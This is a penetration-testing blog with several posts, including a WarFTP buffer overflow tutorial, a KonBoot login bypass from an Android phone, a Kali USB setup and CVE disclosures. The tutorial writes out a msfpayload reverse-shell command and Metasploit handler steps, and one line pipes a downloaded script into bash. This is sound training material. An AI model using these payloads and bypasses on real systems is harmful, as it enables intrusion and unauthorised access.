Hack My Systems @hackmysystems-blog - Tumblr Blog

PwnOS2 – Boot2Root image

PwnOS 2.0 is a vulnerable-by-design application stack. These machines are often affectionately referred to as “Boot2Root” machines, as the goal is to compromise the machine and elevate your privileges to that of the root user (*nix based systems) or Administrator (Windows systems) user.

This post is essentially a walkthrough of the methods I used to ‘root the box’. Keep in mind that there are more potential avenues for success.

Setup:

Create a new VM in virtualbox - instead of creating a new hard drive, point it to the .vmdk file in the pwnos2 folder you downloaded and extracted. I left mine with the default recommended RAM.

Configure a router, and network connection, with the following settings:

Router: 10.10.10.15

DHCP is fine, or you can manually assign your own IP address in this network

[Click Read More to reveal the walkthrough]

#Penetration-Testing #tutorial #walkthrough #hacker #pwnos #pwnos2

What's in my Jump-Bag

I am often asked what’s in my jump-bag.

Let me start by saying that I have explicitly designed my jump bag with 3 primary goals in mind:

Must contain the basics for all of the common types of assignments I get (penetration test, vulnerability scan, configuration audit, physical penetration test, WiFi).

Tools must be separated into compact boxes / containers so that if I don’t need (or can’t take) everything, I can quickly grab the kits relevant for the job.

Taking all the things is cumbersome when I’m bouncing around between Data Centres and Offices in the CBD without a car; my main bag is therefore a briefcase on wheels (an ordinary travel bag would also work).

The jump-bag contains:

#Penetration-Testing #jump-bag #go-bag

Automatically login to a Windows or Mac PC without the password.

If you're reading this you are probably a penetration tester with an android device who needs access to a desktop PC you found in a random office during your physical penetration test. If so, you have come to the right blog, my friend.

Yes this can be accomplished with an ordinary flash drive, however, there are a few circumstances where this won't be possible... perhaps you were searched on your way into the building and your flash drives were confiscated, maybe you are trying to reduce the size of your penetration testing arsenal, or maybe you are just plain forgetful (tsk, tsk)... There's also more 'wow factor' when you're doing it on your phone! =)

The best part is - it won't change the password and shouldn't damage the computer in any way. The owner of the PC will likely have no idea what has happened - at least until you turn in your report and get to watch their jaws drop in awe and terror as they read it.

Enough of an intro, let’s get into it. You will need a Windows PC for the one-time setup. I did it in a Virtual Box Windows VM from my Mac OSX host without any issues. If you want to do it this way, install VirtualBox and download a free temporary Windows image from here: https://github.com/xdissent/ievms. Configuring VirtualBox to pass your USB devices through is an easy feat, however, it is out of scope for this post - Google it if you need help.

Initial Preparation:

Get your grubby little hands on a rooted Android device (I used a Nexus 5, but any other phone or tablet should work just as well)

Download DriveDroid from the Play store

Purchase (yes, it's not free unfortunately, but it's worth every dollar) a copy of KonBoot - get the hybrid version as it supports both Mac and Windows machines. You'll find it here: http://www.piotrbania.com/all/kon-boot/

Download and extract the .exe file

Setting up DriveDroid:

Go through the setup wizard unless you are confident that you don't need to do this

Create a blank image with 200mb size and no MBR Partition! This is very important

Save, refresh, and host it as a mass storage device

Connect to the Windows PC

Installation:

Launch the KonBoot executable

Select the correct USB drive

Run the installer by pressing the button that mentions USB with EFI support

Disconnect the Device

Stop DriveDroid’s hosting of the image

Start hosting the image again

Usage on a Mac:

Host the image on DriveDroid and connect to PC via USB cable

Press Option key on boot

Select "EFI" boot option

Follow the prompts

Press Enter key at password prompt

Press Continue

Usage on a Windows:

Host the image on DriveDroid and connect to PC via USB cable

Press the correct Function key to access the BIOS

Make sure USB boot is the first option in the boot order page

Continue to boot

Press Enter key at password prompt

#physical-penetration-testing #Penetration-Testing #hacking #window #mac #macosx #forgot-password

The USB Rubber Ducky

Edit: This tool was featured on a Hak5 episode (http://hak5.org/episodes/hak5-1716). To the Hak5 guys, thanks for the kind words!

Guys, gals, and inbetweeners, please feel free to jump in and fork the project or contribute by sending in some pull requests. Authentication, and some other security features for safer external access would be awesome and I just don't have the time to extend this at the moment.

---

I finally purchased a USB Rubber Ducky from Hak5. The USB Rubber Ducky is a Human Interface Device (HID) attack tool, which essentially emulates a user sitting at a keyboard. All in all, the tool is easy to set up and use. It seems to sometimes skip keys on my virtual machine running Windows but that issue seems to be due to the performance of the guest in general. I haven't encountered any issues on machines with decent specs.

One gripe I had was that the encoder is built on Java. My Android device, like many (or all?) Android devices, does not use a full fledged version of Java which means I can't encode my scripts in the middle of an engagement to 're-flash' the duck unless I had my PC with me. After some googling I found an online encoder, however, I was uncomfortable with using a bin file generated by a third party on my clients' machines and I was also uncomfortable with the idea of posting my mail and ftp credentials on a third party site if they were a part of my scripts - after all, what kind of security professional would I be if I just *gave away* my own passwords?!

I decided that the best thing to do would be to roll my own online encoder (pictured below).

It is essentially a web app based wrapper for the hak5 encoder which lives on a computer at home. It gives you the ability to upload a script and download a replacement inject.bin file based on that script. After spending a few minutes configuring my router to forward a dyndns address to this server I could access this tool to encode my ducky scripts from my Android phone and tablet anywhere in the world without sacrificing my privacy or risking third party compromise of my clients' systems.

It is easy to set up, and I welcome any and all to install a local instance of this app for their own use.

You can find it here: https://github.com/tresacton/DuckEncoder

Enjoy :)

#usb-rubber-ducky #hak5 #penetration-testing #usb-hack #hid-attack

USB Persistent Kali that will work with Macbook Pro Retina

If you have a USB stick (recommended minimum size of 32GB), and want a portable Kali installation that you can plug and play with on just about any hardware, including the Macbook Pro Retina 2013/2014 then this guide is for you.

Follow the following instructions, taken from the Kali website:

dd if=kali-linux-1.0.8-amd64.iso of=/dev/sdb bs=1M

size=55gb #however large you want your storage space to be read bytes _ < <(du -bcm kali-linux-1.0.8-amd64.iso |tail -1); echo $bytes parted /dev/sdb mkpart primary $bytes $size cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3 cryptsetup luksOpen /dev/sdb3 my_usb mkfs.ext3 -L persistence /dev/mapper/my_usb e2label /dev/mapper/my_usb persistence mkdir -p /mnt/my_usb mount /dev/mapper/my_usb /mnt/my_usb echo "/ union" > /mnt/my_usb/persistence.conf umount /dev/mapper/my_usb cryptsetup luksClose /dev/mapper/my_usb

Download this wifi driver for MBP hardware:

https://github.com/tresacton/mbpkali

If you have an ethernet adapter handy, install the wifi driver for MBP so that you can ensure computability with MBP hardware, which might not have an ethernet port available. Dependencies should install also.

If you do not have an ethernet adapter, install a trial version of Parallels Desktop for Mac, and run Kali through this app via the USB port (virtual box and fusion are much harder to work with for this...)

Then install the .deb file, by running:

dpkg -ibcmwl-kernel-source_6.30.223.30+bdcom-0ubuntu3_amd64.deb apt-get install -f #this will install the dependency

You're all done. Reboot the machine (if MBP hold alt/option during boot to reach the boot loader menu), and boot the partition labelled Windows.

Once in Kali, select USB Persistence with Encryption, as that is what we set up earlier.

If done correctly, running the command df -h should show that /root has several GB of hard drive space available.

#kali #mbp #macbookpro #macbookproretina #hackintosh #portable

Buffer Overflow Tutorial for Beginners (Target: WarFTP on Windows)

I figured it’s about time I make a short introductory tutorial to Buffer Overflows. Hopefully this will whet your appetite for buffer overflows and encourage you to buy my book when it comes out! I churned this out pretty rapidly, so my apologies for any oversights, and grammatical and formatting issues =)

Pre-requisites:

Machine with Kali installed (you can use other distros, but Kali is more or less ready to go for this tutorial, and therefore highly recommended).

Machine (or VM) with Windows SP3 installed. You can get a free trial copy by entering this command into a linux or mac terminal: curl -s https://raw.githubusercontent.com/xdissent/ievms/master/ievms.sh | env IEVMS_VERSIONS="8" bash

Now that you have an environment, we need to install a debugger, a special module for the debugger, and finally – a vulnerable copy of War FTP for us to hack!

Immunity Debugger: http://www.immunityinc.com/products-immdbg.shtml

Mona.py: https://raw.githubusercontent.com/corelan/mona/master/mona.py

War FTP: http://www.exploit-db.com/wp-content/themes/exploit/applications/5132d652476f071874e42023e66dc1c1-WarFTP165_vulnerable_USER_BufferOverflow.exe

These are all to be installed on the Windows VM you set up earlier.

Start with Immunity Debugger; make sure you follow the prompts to let it install python27 if it isn’t already on the Windows VM.

Next, install Mona.py by placing it in the pycommands folder as shown below:

Finally, install War FTP.

Our environment has been set up, and we’re ready to start working on this exploit!

The first thing we need to do, is write a simple python script which will allow us to perform an activity called ‘fuzzing’. Fuzzing allows us to send strings (which we will refer to as a buffer from here on in) to the server, starting with a length of 100 bytes, then 200 bytes, and so on, until the server crashes. This will tell us how long our buffer needs to be.

Here’s the script:

Now, that we have a fuzzing script ready to go, we need to start the debugger and the FTP server.

Open War FTP, and click the little lightning bolt icon to start the server. Let’s make sure it’s responding before we proceed!

Fantastic. Now we’re ready to start the debugger, and attach it to the War FTP process.

Open Immunity Debugger, and navigate to File -> Attach. Select the appropriate process (hint: we know it’s running on port 21, look for port 21 in the list if you’re having trouble finding it).

Let’s run our script!

This script will run until the program crashes. The second last line will tell us how long our buffer needs to be. In our case, the second last line read 3100.

We don’t want to have to run the full fuzzer each time we run the exploit (we will be running the exploit many times before strike gold). Let’s edit it with a buffer of the correct size.

Close the debugger and the FTP server, and open them again (don’t forget to re-attach the process!). Send the exploit again to make sure it works.

Now, before we move on, you need to understand what an EIP register is. The EIP controls the code flow execution, i.e. it determines which chunk of code to run next. It does so by pointing to the address where the chunk of code begins. If an attacker can a) override the values of one or more key memory spaces, and b) control the EIP register, then the attacker can simultaneously provide malicious code and force its execution.

Let’s have a look at the far right window and see what the EIP register is pointing to.

The EIP register is showing “41414141” which is hex for “AAAA”. We have control! The only problem remaining with the EIP register is that we do not know which 4 A’s in our buffer are actually sitting here because we sent 3100 A’s. There are a few ways to figure this out, let’s go for the easiest method.

Gaining control of the EIP

Kali has some convenience tools installed which can help us out. They are called pattern_create and pattern_offset.

Enter the command ‘locate pattern_offset.rb’ in your terminal. Then run the file found, with the argument 3100:

Replace your buffer of “A”s with this string, then re-run the exploit. When the app crashes, look at the right window of Immunity debugger and copy the EIP address. In this example, it is 32714131.

Now locate the tool pattern_offset and run it with the argument 32714131. It will tell us how many bytes we need in our payload before the start of the EIP address memory space.

The tool has reported that the EIP address starts after 485 bytes. Now that we know where to put our EIP address, let’s modify our code and see if we can fill just that register with “B”s instead of “A”s or the junk characters from the pattern_offset tool. While we’re editing the code, we’ll add some additional characters, “C”s, after the EIP address, so that we can find out where they end up.

The code should look something like this:

Go ahead and restart the debugger and FTP server, and run your script.

Awesome. Our EIP is 42424242, which is the hex equivalent for “BBBB”, so we still have control over the EIP.

Our shellcode needs a home!

We seem to have easy access to our “C”s, which means we have likely found a home for our malicious shellcode.

Let’s see if there’s enough space for our code. Click the EBP in the ‘Registers’ pane. Then right click it and press “Follow in Dump”. Now the bottom left pane should look like this:

We seem to have ample space for our shellcode, but if we scroll up just a little we notice that the EBP register doesn’t point to the very beginning of our C’s. We can easily work around that with some NOPs. NOPs are instructions to not perform an instruction =)

So if we create a NOP sled (a series of NOPs) at the beginning of our shellcode (currently just “C” characters), the code execution will just ‘slide down’ our NOPs until it reaches our executable code. The hex character for a NOP is “\x90”. Let’s add 100 of these to the start of our shellcode, and add two “E”s to the end so that we can see that the full series of “C”s fit in that space.

The code should look like this:

Run the script again, and follow the EBP dump. It should look like this:

We see some NOPs on the first line, and we see our “FF” marker at the end. All of our code is there, and it’s in the correct place for execution.

We have control over the EIP, and our shellcode is in the EBP register. How do we link the two? We are going to find a portion of code, which already exists on the system, which can jump to, or call, the EBP register so that our code executes. We’re going to use mona.py to find a suitable address.

Using mona.py to find a suitable EIP address to use

At the bottom of the debugger screen, there is a white input box. This is where we type our mona commands. First, let’s have a look at the modules accessible on the machine. Type: !mona modules

We select one which does not have Rebase=true or ASLR=true. These are memory protection features, and bypassing these are very much out of the scope of this tutorial. Let’s go with the USER32.dll module.

In order to search the module for the instruction we need, we need to know what it is translated to in hex. Type locate nasm_shell.rb into your terminal, and execute the script. Once the interactive shell opens, type call ebp (this is the code we need to direct the code execution to our shellcode in the EBP register).

Call EBP is FFD5 in hex. Let’s search the USER32.dll module for that code and see if we get lucky. Type !mona find –s \xff\xd5” –m user32.dll

Wicked. We pick one without bad characters. Bad characters interrupt the code execution and vary between products. Determining which characters are bad characters, is again, out of the scope of this tutorial. This time, I have done the heavy lifting for you, the bad chars are: \x00\x20\x0a\x0d\x40

We select the address 0x7E48FCCF, but as it is, it is not ready for our code. EIP addresses have to formatted in little endian format, where the position of each character pair is reversed. 0x7E48FCCF would become “\xCF\xFC\x48\x7E”. I have a little convenience method which can do this for us. Here is what the code looks like now:

Weaponising the exploit

We’re nearly done! Now what we need to do is generate some malicious code and replace the “C”s and “F”s with it. We’ll use msfpayload to whip up the shellcode.

Enter the following command in your terminal, replacing the IP address with YOUR attacking IP address, and the port number if necessary.

# msfpayload windows/meterepter/reverse_tcp LHOST=192.168.25.100 LPORT=4321 R | msfencode -b "\x00\x20\x0a\x0d\x40"

Notice that we are instructing msfencode to ensure that our ‘bad characters’ are not present in the shellcode.

Replace the shellcode variable in your script with the output from this command.

The full script should look something like this:

This code should execute a reverse meterpreter shell from the target machine to our hacking machine. But we need to start a handler to listen for the connection. Let’s fire up Metasploit. Type msfconsole into your terminal, and execute the following commands:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost YOUR_IP

set lport YOUR_PORT

exploit

Where YOUR_IP and YOUR_PORT are the same data you used in the msfpayload command.

You should see a screen like this:

Run your script.

Victory!

Check your handler. You should have received a shell!

I cheated a little here and escalated by privileges by using the meterpreter command 'getsystem'. I would not recommend relying on this, it's not a silver bullet. It doesn't try every possible method of escalating privileges and you should learn how some techniques for doing it manually.

I would recommend you starting learning to do that next! =)

#buffer-overflow tutorial real-hacking dont-be-a-script-kiddie penetration-test code hack vulnerability ftp exploit war-ftp

CVE-2012-0056 mem_write - mempodipper.c

I don't know why this isn't mentioned in the CVE (or anywhere else AFAIK), but Linux Kernel 3.0.0 is also vulnerable to the privilege escalation vulnerability in mem_write in the linux kernel.

The mempodipper exploit works without any modifications. Tested on 3.0.0-12-server (Ubuntu).

Meterpreter session, showing unprivileged user & uname:

After dropping into a shell and running mempodipper:

UPDATE:

I contacted CVE MITRE and they have agreed to update the CVE Entry:

Très Acton to cve-assign

Hey guys,

This CVE entry is incomplete and should be updated to reflect that another Kernel Version is affected. It is a local privilege escalation vulnerability in Linux.

CVE: CVE-2012-0056

Add vulnerable version: Linux Kernel 3.0.0

Proof: http://www.hackmy.systems/post/91788882301/cve-2012-0056-mem-write-mempodipper-c

Thanks.

Très

from [email protected]

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

> This CVE entry is incomplete

> CVE: CVE-2012-0056 Thanks for the note. Yes, we agree that this vulnerability was never reported as specific to 2.6.x kernels. In our internal database, we have changed CVE-2012-0056 to align with our typical practices for expressing affected versions. This change should become visible on the http://cve.mitre.org web site in the coming days.

Update 2: I have confirmed that this entry has been now been updated on the CVE Mitre website.

#privilege-escalation #mempodipper #mem_write #3.0.0 #3.0.0-12 #3.0.0-12-server

I passed the OSCP Exam!

This post is a little late, but it has to be done… I passed the OSCP Exam! I believe I scored 90/100. I really wanted to go for the remaining 10 points, I knew exactly how to get them. Unfortunately, I was extremely tired by this stage and decided to settle for 90 points. For anyone curious, here’s a rough timeline of events during the exam. This is the one piece of information I was hoping to see in other blog posts and reviews, but was rarely present. 8:00 am - Started the exam 10:05 am - Root access via a Buffer Overflow exploit on machine ‘a' 10:11 am - Partial Access to machine ‘b’ 03:30 pm - Partial Access to machine ‘c’ 04:31 pm - Escalated privileges on machine ‘c’ 10:02 pm - Partial Access to machine ‘d’ 10:03 pm - Escalated privileges on machine ‘d' 10:03 pm - Full access to machine ‘b’ — nap time — 3:36 am - Escalated privileges on machine ‘b’ — nap time —

#oscp #oscp-exam #Penetration-Testing #it-certification

Why bother with Buffer Overflows and Exploit Modification?

I was having a conversation with a relatively green, aspiring, penetration tester the other day, and he asked me why he should bother to learn how to modify exploits – particularly buffer overflows. This is a fair question for somebody who has only really had exposure to the basic use of Metasploit. Don’t get me wrong, Metasploit is certainly a powerful tool, it has a lot of convenience features that make penetration testing a little easier to manage, however, like all tools - it has its limitations.

I asked him to name the first product he could think of, luckily for me, he named a product that perfectly demonstrated the point I was about to make. I had him search for a Metasploit module that would exploit the service and could result in a reverse shell. With a smug look on his face over our video call on Skype, he proudly announced that he had found one.

I had a brief look at the module to see which operating system(s) it had been tested against; it was tested against the Polish version of Windows SP2. I spun up a virtual box image of the English version of Windows XP Service Pack 3, installed the vulnerable software and a debugger, and found another proof of concept exploit for the same vulnerability on a website called Exploit-DB (Exploit-DB is usually my first point of call for exploit PoCs). I chose this operating system because it is rather common (even today!), and in a real life penetration test you don’t have the privilege of deciding that your target machine will host the exact same operating system that was pre-tested for a particular exploit – in this case, the Polish version of Windows XP SP2.

I modified the proof of concept exploit code, and proceeded to exploit the service to verify that it could be done before presenting this young man with a challenge. I asked him to exploit it using the Metasploit module he found. He loaded the VM of Windows XP SP3 I sent to him, and attempted to exploit the service. Several minutes later, he told me it failed. I asked him why it failed, and he was unable to answer that question.

It failed him because the address for the ‘JMP ESP’ command used in the exploit was the wrong address for this combination of vulnerable product and operating system. Before I was able to exploit it, I had to attach the vulnerable product to a debugger in the same operating system as the target in order to find a valid address to use.

Hopefully, you now agree that knowing how to modify an existing proof of concept exploit can mean the difference between successfully penetrating a system and feeling trapped by the limitation of your favourite tool.

If you are not sure what a ‘JMP ESP instruction’ is and feel like I have perhaps delved into some mystical black magic, rest assured that it is quite simple once you get the hang of it. I have provided a walkthrough demonstrating exactly how I accomplished this in my upcoming book, so that you can follow along at home.

#penetration testing #Penetration-Testing #security #buffer-overflows #exploit #exploit-development #metasploit

Denial of Service in Publify (CVE-2014-3211)

Last Saturday, I felt the urge to go vulnerability hunting. l downloaded the source code for an open source Ruby on Rails application called Publify. After about 5 minutes of reviewing the code l noticed that the method symbolize_keys was called on user input in the comments form. Symbols are never garbage collected. This is an intentional design desicion to facilitate performance benefits in the framework itself. Unfortunately, because they are not garbege collected, improper use of this method provides remote attackers with the means to cause a denial of service by exausting the hosting server's memory resources. I verified this issue by sending a collection of new comment post requests to a local instance of the app and successfully caused a denial of service. I have collaborated with the maintainers of Publify, and the patches for this vulnerability have been retroactively rolled into last month's major release 8.0.1. This is something which should probably be noted in the Rails Security Guide for developers. I will be suggesting this enhancement to them this afternoon. The vulnerability has been assigned the following identifier: CVE-2014-3211 Fixed by commits: https://github.com/publify/publify/commit/9caae66d9f6e44f4dc6b70b1f48b4064c960bb6f https://github.com/publify/publify/commit/f97219e1313c95422c114d92e9c523e99e1a82c6

Why should I help patch a vulnerability that I discovered?

There are many benefits to committing patches to open source projects which resolve security issues that you discover, such as:

It demonstrates to the community that you understand the issue reasonably well and that you know how to resolve it

It usually means that the issue is patched faster, which is a great win for you, for the vendor, and for anyone using the product

Sometimes the vendor's developers or maintainers lack the security knowledge necessary to understand the issue, which can result in several iterations of communication to adequately describe the root causes and remediation strategies

Try to keep in mind that developers are not usually security experts. The job of a developer is generally to build something and the job of a security researcher is generally to break something. These states of mind are almost polar opposities. There are obviously some grey areas here, however, it is helpful to keep this in mind when you are collaborating with developers to resolve issues.

#patches #patch #vulnerabilities #security #open-source #penetration-testing

Kali (& metasploit) on the Galaxy Note 3

Install Kali on the GN3, using an app such as Linux Deploy or Complete Linux Installer, seemed incredibly simple; with most other droids, it is very simple. However, this particular phone kept erroring.

The Linux Deploy attempt merely said:

Updating environment ... FAILED

The Complete Linux Installer was a little more helpful, it said:

Checking loop device... missing Creating loop device ... mknod /dev/block/lop255 : operation not permitted FAILED! Error: unable to create loop device.

Fantastic. The phone was rooted, with a stock ROM, a stock kernel, and no custom recovery installed. Obviously, given that I had rooted my phone and was allowing super user permissions to both apps, the problem wasn't root related. It had to be an SeLinux issue.

The stock kernel, MJ7, does not allow you to change the SeLinux mode from "Enforcing" to "Permissive". Init.d scripts, run time terminal commands, and manually editing the /sys/fs/syslinux/enforce file all failed to persist the changes. No matter what I tried, something deep in the kernel was monitoring this file and reverting the bit to 1 (Enforcing) instantly.

I thought that installing a custom ROM might work. For that I needed a custom recovery. I could not get Odin for PC working through a VM, and did not have access to a native windows PC. Luckily, my phone was already rooted so I installed CMW recovery using the Odin Mobile app. It worked.

I went for Omega v6 as it fully supports s-pen and other Samsung features. I flashed it using the Omega Files Pro app. I hoped I would get lucky and find that the ROM overrides SeLinux. It doesn't. Omega v12 apparently does, however, I wasn't prepared to go to Android KitKat just yet.

Omega is a nice ROM that looks and feels like the stock ROM, with the option for less bloatware. I decided to keep it installed. I needed to replace the kernel though.

I found a 4.3 compatible kernel, which plays nicely with the stock n9005 ROM, and therefore, the Omega v6 ROM. It is available here: http://batcave.rasquin.co.uk/Android/Samsung/SGN3/01_kernel/faux123-yank555.lu/jb43-tw/hlteeur-faux123-yank555.lu-MJ6-004u.zip

I flashed this onto the device using Odin Mobile (open the file as OTA/Zip Update Installer). It installed successfully. I verified the SeLinux mode in each of the following ways:

$ su

# getenforce

# cat /sys/fs/selinux/enforce

Settings > General > About device > SELinux status

All showed either "Permissive" or "0".

Finally.

I was then able to install Kali linux using the tutorial, and customised bootscript, found here:

http://www.usoftphone.com/t162478.html

Galaxy Note 3 n9005, SSH to kali, running the wonderful metasploit console

#kali #n9005 #metasploit #galaxy-note-3 #penetration-testing

Trending Blogs

Recently Viewed Blogs

Hack My Systems